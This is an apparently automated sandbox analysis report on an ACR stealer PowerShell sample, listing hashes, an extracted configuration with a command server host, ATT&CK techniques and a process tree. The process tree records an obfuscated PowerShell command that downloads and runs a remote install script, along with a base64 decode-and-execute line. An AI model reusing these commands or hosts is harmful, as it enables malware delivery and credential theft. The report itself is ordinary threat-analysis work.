acrstealer | 34a2f3bf3e131e794689b61d42c8415d0a9d5c1fd46e3aef12bb1f17f30db91c

Analysis

max time kernel
134s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 06:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BE5-4532-a7E5-AE1a29.ps1
Size 632KB
Sample261102-g3f2vsfw41
SHA256 34a2f3bf3e131e794689b61d42c8415d0a9d5c1fd46e3aef12bb1f17f30db91c
MD5 7d35ce2f577a56fec910bf6a566bdbfc
SHA1 07e96e5f68c9fc1102de195eedcc0336813c38a9
SHA512 734249de00ae6898e247d0b396ec989341e7a08fec90302e9b08448e699065c9fafa2be03a8c1dd63862659499f803a18f07bf9241399d2c067ee2b2764d6ada
SSDEEP 6144:y0VwaSprBZJSplsHGLRmRPRhe1Q0DwwoF8qSX1zjS1hDHuDHXtuRYRa6Fj9hWR+a:fRmRPR1wKRYRwWslB11kjyh2Q2oL1Lz
TLSH
T142D4EB6633C4FC62D14ADBB8AD110C17E3EE11A9DFDF989ECBD5F6480887518464ECA2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.5.3-alpha1

lb.birchcore.cc

Decoy

fastly.net

Attributes

guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3908 created 2352	3908	rundll32.exe	80
PID 3908 created 2352	3908	rundll32.exe	80

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	1924	powershell.exe
10	3908	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5368	PowerShell.exe
1924	powershell.exe
948	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4820	chrome.exe
5100	msedge.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5368	PowerShell.exe
5368	PowerShell.exe
1924	powershell.exe
1924	powershell.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe
3908	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
3908	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3184	chrome.exe
3184	chrome.exe
5064	msedge.exe
5064	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5368	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5368	PowerShell.exe
Token: SeSecurityPrivilege	5368	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5368	PowerShell.exe
Token: SeLoadDriverPrivilege	5368	PowerShell.exe
Token: SeSystemProfilePrivilege	5368	PowerShell.exe
Token: SeSystemtimePrivilege	5368	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5368	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5368	PowerShell.exe
Token: SeCreatePagefilePrivilege	5368	PowerShell.exe
Token: SeBackupPrivilege	5368	PowerShell.exe
Token: SeRestorePrivilege	5368	PowerShell.exe
Token: SeShutdownPrivilege	5368	PowerShell.exe
Token: SeDebugPrivilege	5368	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5368	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5368	PowerShell.exe
Token: SeUndockPrivilege	5368	PowerShell.exe
Token: SeManageVolumePrivilege	5368	PowerShell.exe
Token: 33	5368	PowerShell.exe
Token: 34	5368	PowerShell.exe
Token: 35	5368	PowerShell.exe
Token: 36	5368	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5368	PowerShell.exe
Token: SeSecurityPrivilege	5368	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5368	PowerShell.exe
Token: SeLoadDriverPrivilege	5368	PowerShell.exe
Token: SeSystemProfilePrivilege	5368	PowerShell.exe
Token: SeSystemtimePrivilege	5368	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5368	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5368	PowerShell.exe
Token: SeCreatePagefilePrivilege	5368	PowerShell.exe
Token: SeBackupPrivilege	5368	PowerShell.exe
Token: SeRestorePrivilege	5368	PowerShell.exe
Token: SeShutdownPrivilege	5368	PowerShell.exe
Token: SeDebugPrivilege	5368	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5368	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5368	PowerShell.exe
Token: SeUndockPrivilege	5368	PowerShell.exe
Token: SeManageVolumePrivilege	5368	PowerShell.exe
Token: 33	5368	PowerShell.exe
Token: 34	5368	PowerShell.exe
Token: 35	5368	PowerShell.exe
Token: 36	5368	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5368	PowerShell.exe
Token: SeSecurityPrivilege	5368	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5368	PowerShell.exe
Token: SeLoadDriverPrivilege	5368	PowerShell.exe
Token: SeSystemProfilePrivilege	5368	PowerShell.exe
Token: SeSystemtimePrivilege	5368	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5368	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5368	PowerShell.exe
Token: SeCreatePagefilePrivilege	5368	PowerShell.exe
Token: SeBackupPrivilege	5368	PowerShell.exe
Token: SeRestorePrivilege	5368	PowerShell.exe
Token: SeShutdownPrivilege	5368	PowerShell.exe
Token: SeDebugPrivilege	5368	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5368	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5368	PowerShell.exe
Token: SeUndockPrivilege	5368	PowerShell.exe
Token: SeManageVolumePrivilege	5368	PowerShell.exe
Token: 33	5368	PowerShell.exe
Token: 34	5368	PowerShell.exe
Token: 35	5368	PowerShell.exe
Token: 36	5368	PowerShell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
3184	chrome.exe
5064	msedge.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 5368 wrote to memory of 1924	5368	PowerShell.exe	91
PID 1924 wrote to memory of 3908	1924	powershell.exe	93
PID 1924 wrote to memory of 3908	1924	powershell.exe	93
PID 3908 wrote to memory of 3184	3908	rundll32.exe	94
PID 3184 wrote to memory of 4232	3184	chrome.exe	95
PID 3184 wrote to memory of 4748	3184	chrome.exe	96
PID 3184 wrote to memory of 4748	3184	chrome.exe	96
PID 3184 wrote to memory of 4820	3184	chrome.exe	98
PID 3184 wrote to memory of 3444	3184	chrome.exe	99
PID 3184 wrote to memory of 3444	3184	chrome.exe	99
PID 3184 wrote to memory of 4336	3184	chrome.exe	100
PID 3184 wrote to memory of 4336	3184	chrome.exe	100
PID 3184 wrote to memory of 5956	3184	chrome.exe	101
PID 3184 wrote to memory of 5956	3184	chrome.exe	101
PID 3184 wrote to memory of 2540	3184	chrome.exe	102
PID 3184 wrote to memory of 2540	3184	chrome.exe	102
PID 3908 wrote to memory of 5064	3908	rundll32.exe	103
PID 5064 wrote to memory of 2972	5064	msedge.exe	104
PID 5064 wrote to memory of 5100	5064	msedge.exe	105
PID 5064 wrote to memory of 1776	5064	msedge.exe	106
PID 5064 wrote to memory of 1776	5064	msedge.exe	106
PID 5064 wrote to memory of 1776	5064	msedge.exe	106
PID 5064 wrote to memory of 2484	5064	msedge.exe	109
PID 5064 wrote to memory of 2484	5064	msedge.exe	109
PID 5064 wrote to memory of 2484	5064	msedge.exe	109
PID 5064 wrote to memory of 4756	5064	msedge.exe	110
PID 5064 wrote to memory of 4756	5064	msedge.exe	110
PID 5064 wrote to memory of 4756	5064	msedge.exe	110
PID 5064 wrote to memory of 2304	5064	msedge.exe	108
PID 5064 wrote to memory of 2304	5064	msedge.exe	108

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:2352
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\BE5-4532-a7E5-AE1a29.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5368
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) https://297-47d1-852d-0f1a190C45.garbagestress.cc/install.ps1 | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3908
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        
        PID:3320
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check about:blank
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff86724c728,0x7ff86724c734,0x7ff86724c740
    3⤵
    PID:4232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,4599480235644814612,7253062127034610103,262144 --field-trial-handle=1932,i,12048442680723037066,14846402044100839908,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
    3⤵
    PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2176,i,4114627001894846983,2367117270648890285,524288 --field-trial-handle=1932,i,12048442680723037066,14846402044100839908,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2328,i,12330406837176734378,3563005583721414877,524288 --field-trial-handle=1932,i,12048442680723037066,14846402044100839908,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:13
    3⤵
    PID:3444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,9600337307374697316,7416404690346155582,2097152 --field-trial-handle=1932,i,12048442680723037066,14846402044100839908,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:1
    3⤵
    PID:4336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,9123263279463654978,4065242597894763434,2097152 --field-trial-handle=1932,i,12048442680723037066,14846402044100839908,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:5956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4568,i,11491385497701540489,6824753931710934753,524288 --field-trial-handle=1932,i,12048442680723037066,14846402044100839908,262144 --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:14
    3⤵
    PID:2540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check about:blank
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x2c8,0x7ff84b01c188,0x7ff84b01c194,0x7ff84b01c1a0
    3⤵
    PID:2972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,8000653424711941589,12399121903796306170,524288 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1612,i,1279427099275284316,8301553960874970536,262144 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:2
    3⤵
    PID:1776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2392,i,7584046997011990927,6647291557744980611,524288 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:13
    3⤵
    PID:2304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3380,i,6989481876253747770,15803765995400128836,2097152 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
    3⤵
    PID:2484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3384,i,6364721490296127436,3503053212877050102,2097152 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
    3⤵
    PID:4756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4216,i,17012288486271694271,16223879630185305684,2097152 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:9
    3⤵
    PID:3456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4196,i,3181117628320986021,4280521390565703805,2097152 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=4236 /prefetch:1
    3⤵
    PID:5472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,17258475467542584634,16946084887514585756,524288 --field-trial-handle=2256,i,9581445894256143641,9887215644928723065,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:14
    3⤵
    PID:4616
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:1552
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    PID:1004
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2792 -prefsLen 24445 -prefMapHandle 2796 -prefMapSize 268500 -ipcHandle 2860 -initialChannelId {e1322cab-fe18-434d-8db3-b07bef7a9c16} -parentPid 1004 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1004" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:4808
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1672 -prefsLen 24522 -prefMapHandle 1820 -prefMapSize 268500 -jsInitHandle 1976 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1996 -initialChannelId {08037464-de89-4564-90b6-2cbf150537cb} -parentPid 1004 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1004" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      PID:4332
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3696 -prefsLen 25338 -prefMapHandle 3700 -prefMapSize 268500 -ipcHandle 3772 -initialChannelId {802b4e14-97f3-4e1c-8340-3a8a8c317bc4} -parentPid 1004 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1004" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:3688
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4196 -prefsLen 25604 -prefMapHandle 4200 -prefMapSize 268500 -jsInitHandle 4204 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4212 -initialChannelId {0d3d4f3f-a511-4910-8d7f-e1e596f2504f} -parentPid 1004 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1004" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      PID:1972

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6108

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

787f0f31-0e9e-4b4b-ae73-ccc41d0a68da.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\787f0f31-0e9e-4b4b-ae73-ccc41d0a68da.tmp
Size 4KB
SHA256 6b750ef80e8c029819631606b6c0f68f6546cac141c6b90bc6de84575c8bdac7
MD5 cc8faf795c094520d766fdfd10ae53ef
SHA1 fd1d02031a97a9cf2949c4b649fa303ebecc546f
SHA512 09f3ed007c4182b9f58ad6867ad56a2fc01ebf42d20c2829885723bab145081be85c4f6d0a0bb6b5e2057da5eb136a8e13904ad989443417c239dfde0c060f74
SSDEEP 96:pC0d+U7D/u1i5WFtfvuvTj7sCRDotok5pHDsB6jGyvutFDL6mbYLsv4a:pC0z7q134vtDUDhgf7FDL6mbY6
TLSH
T18CA11B70D87D99BB8476D485F5422A47CFB062BFA902BF80D8DD1B1C11EB1EC1312927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c29f4678-b1e9-4c77-bd6f-cd5458cdec8f.tmp

